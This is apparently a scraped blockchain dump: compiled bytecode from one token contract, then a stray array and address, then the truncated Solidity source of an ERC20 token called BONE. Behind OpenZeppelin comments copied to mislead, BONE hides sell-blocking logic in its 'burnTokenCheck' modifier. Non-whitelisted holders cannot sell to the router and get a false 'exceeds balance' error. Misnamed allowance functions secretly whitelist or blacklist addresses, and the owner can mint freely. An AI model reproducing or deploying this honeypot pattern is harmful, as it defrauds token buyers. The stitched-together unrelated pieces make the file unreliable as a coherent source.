ffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8757600080fd5b505afa158015611f9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbf9190612962565b81600181518110611ff9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206030600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142d565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120c495949392919061302a565b600060405180830381600087803b1580156120de57600080fd5b505af11580156120f2573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b61217a8383836121f4565b505050565b60006121c183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123bf565b905092915050565b60008060006121d6612422565b915091506121ed818361217f90919063ffffffff16565b9250505090565b60008060008060008061220687612484565b95509550955095509550955061226486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ec90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122f985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061234581612594565b61234f8483612651565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123ac919061300f565b60405180910390a3505050505050505050565b60008083118290612406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fd9190612ead565b60405180910390fd5b5060008385612415919061319b565b9050809150509392505050565b600080600060095490506000683635c9adc5dea000009050612458683635c9adc5dea0000060095461217f90919063ffffffff16565b82101561247757600954683635c9adc5dea00000935093505050612480565b81819350935050505b9091565b60008060008060008060008060006124a18a600b54600c5461268b565b92509250925060006124b16121c9565b905060008060006124c48e878787612721565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c4e565b905092915050565b60008082846125459190613145565b90508381101561258a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258190612f2f565b60405180910390fd5b8091505092915050565b600061259e6121c9565b905060006125b582846127aa90919063ffffffff16565b905061260981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612666826009546124ec90919063ffffffff16565b60098190555061268181600a5461253690919063ffffffff16565b600a819055505050565b6000806000806126b760646126a9888a6127aa90919063ffffffff16565b61217f90919063ffffffff16565b905060006126e160646126d3888b6127aa90919063ffffffff16565b61217f90919063ffffffff16565b9050600061270a826126fc858c6124ec90919063ffffffff16565b6124ec90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061273a85896127aa90919063ffffffff16565b9050600061275186896127aa90919063ffffffff16565b9050600061276887896127aa90919063ffffffff16565b905060006127918261278385876124ec90919063ffffffff16565b6124ec90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156127bd576000905061281f565b600082846127cb91906131cc565b90508284826127da919061319b565b1461281a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281190612f4f565b60405180910390fd5b809150505b92915050565b6000612838612833846130c4565b61309f565b9050808382526020820190508285602086028201111561285757600080fd5b60005b85811015612887578161286d8882612891565b84526020840193506020830192505060018101905061285a565b5050509392505050565b6000813590506128a0816136b0565b92915050565b6000815190506128b5816136b0565b92915050565b600082601f8301126128cc57600080fd5b81356128dc848260208601612825565b91505092915050565b6000813590506128f4816136c7565b92915050565b600081519050612909816136c7565b92915050565b60008135905061291e816136de565b92915050565b600081519050612933816136de565b92915050565b60006020828403121561294b57600080fd5b600061295984828501612891565b91505092915050565b60006020828403121561297457600080fd5b6000612982848285016128a6565b91505092915050565b6000806040838503121561299e57600080fd5b60006129ac85828601612891565b92505060206129bd85828601612891565b9150509250929050565b6000806000606084860312156129dc57600080fd5b60006129ea86828701612891565b93505060206129fb86828701612891565b9250506040612a0c8682870161290f565b9150509250925092565b60008060408385031215612a2957600080fd5b6000612a3785828601612891565b9250506020612a488582860161290f565b9150509250929050565b600060208284031215612a6457600080fd5b600082013567ffffffffffffffff811115612a7e57600080fd5b612a8a848285016128bb565b91505092915050565b600060208284031215612aa557600080fd5b6000612ab3848285016128e5565b91505092915050565b600060208284031215612ace57600080fd5b6000612adc848285016128fa565b91505092915050565b600060208284031215612af757600080fd5b6000612b058482850161290f565b91505092915050565b600080600060608486031215612b2357600080fd5b6000612b3186828701612924565b9350506020612b4286828701612924565b9250506040612b5386828701612924565b9150509250925092565b6000612b698383612b75565b60208301905092915050565b612b7e8161325a565b82525050565b612b8d8161325a565b82525050565b6000612b9e82613100565b612ba88185613123565b9350612bb3836130f0565b8060005b83811015612be4578151612bcb8882612b5d565b9750612bd683613116565b925050600181019050612bb7565b5085935050505092915050565b612bfa8161326c565b82525050565b612c09816132af565b82525050565b6000612c1a8261310b565b612c248185613134565b9350612c348185602086016132c1565b612c3d816133fb565b840191505092915050565b6000612c55602383613134565b9150612c608261340c565b604082019050919050565b6000612c78602a83613134565b9150612c838261345b565b604082019050919050565b6000612c9b602283613134565b9150612ca6826134aa565b604082019050919050565b6000612cbe601b83613134565b9150612cc9826134f9565b602082019050919050565b6000612ce1602183613134565b9150612cec82613522565b604082019050919050565b6000612d04602083613134565b9150612d0f82613571565b602082019050919050565b6000612d27602983613134565b9150612d328261359a565b604082019050919050565b6000612d4a602583613134565b9150612d55826135e9565b604082019050919050565b6000612d6d602483613134565b9150612d7882613638565b604082019050919050565b6000612d90601783613134565b9150612d9b82613687565b602082019050919050565b612daf81613298565b82525050565b612dbe816132a2565b82525050565b6000602082019050612dd96000830184612b84565b92915050565b6000604082019050612df46000830185612b84565b612e016020830184612b84565b9392505050565b6000604082019050612e1d6000830185612b84565b612e2a6020830184612da6565b9392505050565b600060c082019050612e466000830189612b84565b612e536020830188612da6565b612e606040830187612c00565b612e6d6060830186612c00565b612e7a6080830185612b84565b612e8760a0830184612da6565b979650505050505050565b6000602082019050612ea76000830184612bf1565b92915050565b60006020820190508181036000830152612ec78184612c0f565b905092915050565b60006020820190508181036000830152612ee881612c48565b9050919050565b60006020820190508181036000830152612f0881612c6b565b9050919050565b60006020820190508181036000830152612f2881612c8e565b9050919050565b60006020820190508181036000830152612f4881612cb1565b9050919050565b60006020820190508181036000830152612f6881612cd4565b9050919050565b60006020820190508181036000830152612f8881612cf7565b9050919050565b60006020820190508181036000830152612fa881612d1a565b9050919050565b60006020820190508181036000830152612fc881612d3d565b9050919050565b60006020820190508181036000830152612fe881612d60565b9050919050565b6000602082019050818103600083015261300881612d83565b9050919050565b60006020820190506130246000830184612da6565b92915050565b600060a08201905061303f6000830188612da6565b61304c6020830187612c00565b818103604083015261305e8186612b93565b905061306d6060830185612b84565b61307a6080830184612da6565b9695505050505050565b60006020820190506130996000830184612db5565b92915050565b60006130a96130ba565b90506130b582826132f4565b919050565b6000604051905090565b600067ffffffffffffffff8211156130df576130de6133cc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061315082613298565b915061315b83613298565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131905761318f61336e565b5b828201905092915050565b60006131a682613298565b91506131b183613298565b9250826131c1576131c061339d565b5b828204905092915050565b60006131d782613298565b91506131e283613298565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561321b5761321a61336e565b5b828202905092915050565b600061323182613298565b915061323c83613298565b92508282101561324f5761324e61336e565b5b828203905092915050565b600061326582613278565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132ba82613298565b9050919050565b60005b838110156132df5780820151818401526020810190506132c4565b838111156132ee576000848401525b50505050565b6132fd826133fb565b810181811067ffffffffffffffff8211171561331c5761331b6133cc565b5b80604052505050565b600061333082613298565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133635761336261336e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136b98161325a565b81146136c457600080fd5b50565b6136d08161326c565b81146136db57600080fd5b50565b6136e781613298565b81146136f257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d3a9d6afa60b897a781ff5d376f03eec413ba1b5450642a39eaf824e21480c0364736f6c63430008040033
[ 13, 5 ]
0xf3639fb3e390c1ea1fa4aa504a7c8e927d119ce9
pragma solidity ^0.6.6; /** * * ___ ___ ___ ___ /\ \ /\ \ /\__\ /\ \ /::\ \ /::\ \ /::| | /::\ \ /:/\:\ \ /:/\:\ \ /:|:| | /:/\:\ \ /::\~\:\__\ /:/ \:\ \ /:/|:| |__ /::\~\:\ \ /:/\:\ \:|__| /:/__/ \:\__\ /:/ |:| /\__\ /:/\:\ \:\__\ \:\~\:\/:/ / \:\ \ /:/ / \/__|:|/:/ / \:\~\:\ \/__/ \:\ \::/ / \:\ /:/ / |:/:/ / \:\ \:\__\ \:\/:/ / \:\/:/ / |::/ / \:\ \/__/ \::/__/ \::/ / /:/ / \:\__\ ~~ \/__/ \/__/ \/__/ * * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract BONE is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be 